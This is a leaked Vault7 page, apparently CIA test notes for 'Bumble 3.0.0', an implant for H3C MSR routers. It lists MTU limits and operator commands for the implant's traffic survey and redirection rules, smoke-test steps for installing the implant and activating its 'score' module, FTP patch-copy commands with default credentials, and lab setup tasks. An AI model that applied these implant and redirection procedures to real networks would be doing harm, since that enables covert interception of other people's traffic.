Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #14587667
Bumble 3.0.0 Test Notes
Test Summary
- Downloaded and installed Ubuntu Server 10.04. This is the library version that was delievered with Bumble.
- CT 2.4 which was delieved is not compatible with current ICON image (Debian 7.8)
- MTU settings
- CT MTUMaximum Transmission Unit setting can not go below 120 bytes.
- Egress from Atk setting delaysim MTU<=108 and CTCounter Terrorism MTU<128 allows CTCounter Terrorism to connect, but states "currenct packet size restrictions are incompatible with selected Score protocol".
- Ingress to Atk MTU<=508Bytes.
- Score requires a minimum MTUMaximum Transmission Unit of 480Bytes for return traffic (from implant to CTCounter Terrorism).
Progress/Notes
- Sample survey commands:
tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 icmp -en
tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 tcp -en
- Sampe redirection rule:
- redir create 10.1.243.2 255.255.255.255 0 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 255.255.255.255 0 0 tcp 10.1.243.2 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 0 0 -en
ID | Status | Task |
---|---|---|
2 | complete | Potential bug:
|
ID | Status | Task |
---|---|---|
16 | complete | Potential Bug: When running my expect script, copying the patch.bin file timed out. Afterwards I attempted to reboot the H3C and it gave the belowmessage. This occurred when I used the command "copy ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/patch.bin patch.bin" to copy the patch file. This is not the recommended way to copy the file. No bug to report at this time. |
ID | Status | Task |
---|---|---|
17 | complete | Potential Bug: It appears that if the patch.bin file exists on cfa0: and you attempt to copy it again, it "copies" indefinitely. Issuing the command "dir cfa0:" shows that the patch.bin file size is 0. This may occurr when the patch file was incompletely applied. This may have just occurred when I used the command "copy ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/patch.bin patch.bin" to copy the patch file. This is not the recommended way to copy the file. No bug to report at this time. |
Tests
- Smoke Test - Establish Comms
- Refer to Bumble command script on share.
- Smoke Test - Survey
- Reboot DUT, install implant, establish comms via CT.
- Confirm implant is installed and activate score
- tp cmd "pbd probe"
- module show
- redir show
- module start score
- module show (confirm score is activated)
- redir show (there should be no rules)
- Add survey rule: tp survey create XXX.X.XXX.X (JUMPSTART-5[US]) 255.255.255.0 0 0.0.0.0 0.0.0.0 0 tcp -en
- redir show
- <sleep for 20 seconds to allow time to survey>
- Retrieve trans table: tp showtrans
- quit
- SUCCESS: 9/9/15 Bumble 3.0.0
- Smoke Test - Redirection
- Reboot DUT, install implant, establish comms via CT.
- Confirm implant is installed and activate score (see Test 2 for commands to run)
- Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 tcp 192.168.254.60 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
- Source IP/Mask: 192.168.254.6/32
- Source Port Range: 0 0 (any)
- Destination IP/Mask: XXX.XXX.X.XX (GB)/32
- Destination Port Range: 0 0 (any)
- Protocol: TCP
- New Source IP:Port: 192.168.254.6:0
- New Destination IP:Port: XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]):0
- TTL: 0 (don't change)
- Redirection Test - ACLAccess Control List circumvention
- Not plausible with current implant hook point
- Redirection Test - Lack of route on Target
- Redirection Test - Lack of routes downstream (for return traffic)
- Redirection Test - MiTM
- N/A
- Ad hoc test - ICON disconnected during patch installation
- telnet 192.168.168.5 (admin/admin)
ftp XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US]) (administrator/password)
- ftp patch file to MSR.
- bin
- get patch.bin
- quit
- dir cfa0: !Confirm patch.bin was copied
- install activate patch cfa0:/patch.bin slot 0
- Before the patch completes, reboot the ICON VM.
- BUM-3
- Reconfigured interface
- With implant installed, configure another gigabit interface.
- No observables.
- Add IXIA ports directly to MSR. Need to determine IPs to use (look at config).
- Configure IXIA "hosts" to test connectivity to WWW1 and WWW2 (XXX.X.XXX.XXX (JUMPSTART-5[US]) & .112).
- Backup MSR config
- Copy off MSR f/w
- Upload MSR f/w
Operator Notes
- Do not use survey and redirection at the same time.
ToDo:
ID | Status | Task |
---|---|---|
14 | incomplete | User #14587667 Delete default route on all routers (except MSR) after testbed complete (Not sure I should do this). May just test redirection traversing an ACL. Neighboring routers probably have routes back to the H3C, however secondary neighbors may not have routes back. May be useful to re-configure testbed to have secondary routers that don't have routes back to H3C. |
15 | complete | User #14587667 Get 2800 router from NDBNetwork Devices Branch Lab (R6/U27) |
6 | complete | User #14587667 Put 1E1 HWIC in 2800 router |
7 | complete | User #14587667 Setup SNMPSimple Network Management Protocol on solarwinds and configure MSR. |
8 | complete | User #14587667 Setup loopbacks on MSR neighbor routes. Use downstream IPs from MSR static routes. |
5 | complete | User #14587667 Configure syslog server |
3 | complete | User #14587667 Configure OSPFOpen Shortest Path First on MSR |
10 | complete | User #14587667 Configure OSPFOpen Shortest Path First on Cisco (Grabe new router and use Gig int for OSPFOpen Shortest Path First - per target config). Use IP 192.168.168.5/30 on MSR and 192.168.168.6 on Cisco. |
0 | complete | User #14587667 Configure E1 links |
11 | incomplete | User #14587667 Configure netstream on MSR interface to TRCore (in-/out-bound). |
12 | incomplete | User #14587667 Configure netstream on MSR interface to 2911 (inbound). |
13 | complete | User #14587667 Confirm netflow is being collect by SolarWinds |
1 | incomplete |